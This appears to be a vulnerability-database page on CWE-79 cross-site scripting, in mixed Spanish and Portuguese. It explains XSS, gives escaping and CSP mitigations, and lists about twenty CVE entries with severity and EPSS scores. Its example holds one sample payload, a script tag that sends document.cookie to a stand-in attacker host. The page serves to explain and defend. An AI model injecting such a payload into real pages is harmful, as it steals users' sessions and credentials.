Fallos del tipo CWE-79

30.524 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-69098HIGHWordPress Hide My WP plugin <= 6.2.12 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-1439MEDIUMReflected Cross-Site Scripting (XSS) vulnerability in Graylog Web InterfaceEPSS 0.2%CVE-2025-68884HIGHWordPress WP Simple Redirect plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-69317HIGHWordPress CarSpot theme < 2.4.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-30565MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.2%CVE-2026-30661MEDIUMiCMS v8.0.0 contains a Cross-Site Scripting (XSS) vulnerability in the User Management component, specifically within the index.html file. TEPSS 0.2%CVE-2025-59491MEDIUMCross Site Scripting vulnerability in CentralSquare Community Development 19.5.7 via form fields.EPSS 0.2%CVE-2025-63083MEDIUMJoomla! Core - [20260102] - XSS vector in the pagebreak pluginEPSS 0.2%CVE-2026-60634HIGHVulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are EPSS 0.2%CVE-2026-30564MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.2%CVE-2026-30252MEDIUMMultiple reflected cross-site scripting (XSS) vulnerabilities in the login.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 alEPSS 0.2%CVE-2025-7056MEDIUMStored XSS in UrlShortenerEPSS 0.2%CVE-2026-9809HIGHA stored Cross-Site Scripting (XSS) vulnerability exists in the Projects component of Mautic 7. When displaying project tags and popovers onEPSS 0.2%CVE-2026-34801MEDIUMEndian Firewall /manage/dhcp/fixed_leases/ remark Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-64217HIGHWordPress Photography theme <= 7.7.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-68835HIGHWordPress Ravpage plugin <= 2.33 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-60635HIGHVulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are EPSS 0.2%CVE-2025-68906HIGHWordPress JNews - Video plugin <= 11.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-24370MEDIUMWordPress The Grid plugin <= 2.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-63082MEDIUMJoomla! Core - [20260101] - Inadequate content filtering for data URLsEPSS 0.2%